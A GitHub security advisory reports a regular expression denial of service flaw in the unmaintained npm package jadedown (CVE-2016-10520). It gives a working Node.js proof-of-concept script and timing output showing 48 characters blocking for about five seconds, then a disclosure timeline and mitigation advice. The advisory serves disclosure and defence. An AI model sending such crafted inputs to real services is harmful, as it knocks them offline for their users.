Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTYzNTQtNm1odi1tdnY1

Regular Expression Denial of Service in jadedown

The jadedown package is affected by a regular expression denial of service vulnerability when certain types of user input are passed in.

Proof of concept

var jadedown = require('jadedown');

var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}


for (i=1;i<=10000000;i=i+1) {
    console.log("COUNT: " + i);
    var str = genstr(i, 'f') + genstr(i, '#') + '{';
    console.log("LENGTH: " + str.length);
    var start = process.hrtime();
    jadedown(str)

    var end = process.hrtime(start);
    console.log(end);
}

Results demonstrating blocking for 5 seconds using only 48 characters.

$ node jadedown.js
COUNT: 1
LENGTH: 6
[ 0, 4014065 ]
COUNT: 4
LENGTH: 12
[ 0, 503507 ]
COUNT: 7
LENGTH: 18
[ 0, 325225 ]
COUNT: 10
LENGTH: 24
[ 0, 1632684 ]
COUNT: 13
LENGTH: 30
[ 0, 7541230 ]
COUNT: 16
LENGTH: 36
[ 0, 80889495 ]
COUNT: 19
LENGTH: 42
[ 0, 636009936 ]
COUNT: 22
LENGTH: 48
[ 5, 820586760 ]

Timeline

• October 24, 2015 - Vulnerability Identified
• October 24, 2015 - Maintainers Notified
• October 25, 2015 - Response from Maintainers with intent to fix
• January 5, 2016 - Advisory Published
• January 11, 2016 - CVE Requested

Recommendation

This package is not actively maintained, and has not seen an update since 2011.

The package also provides unique functionality in the form of a templating language that is not available elsewhere. If this package is used to process user input, the best available mitigation is to refactor the dependent application to not make use of this module.

Permalink: https://github.com/advisories/GHSA-6354-6mhv-mvv5
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTYzNTQtNm1odi1tdnY1
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Low
Classification: General
Published: about 5 years ago
Updated: 8 months ago

Identifiers: GHSA-6354-6mhv-mvv5, CVE-2016-10520
References:

• https://nvd.nist.gov/vuln/detail/CVE-2016-10520
• https://github.com/advisories/GHSA-6354-6mhv-mvv5
• https://www.npmjs.com/advisories/52

Blast Radius: 0.0

Affected Packages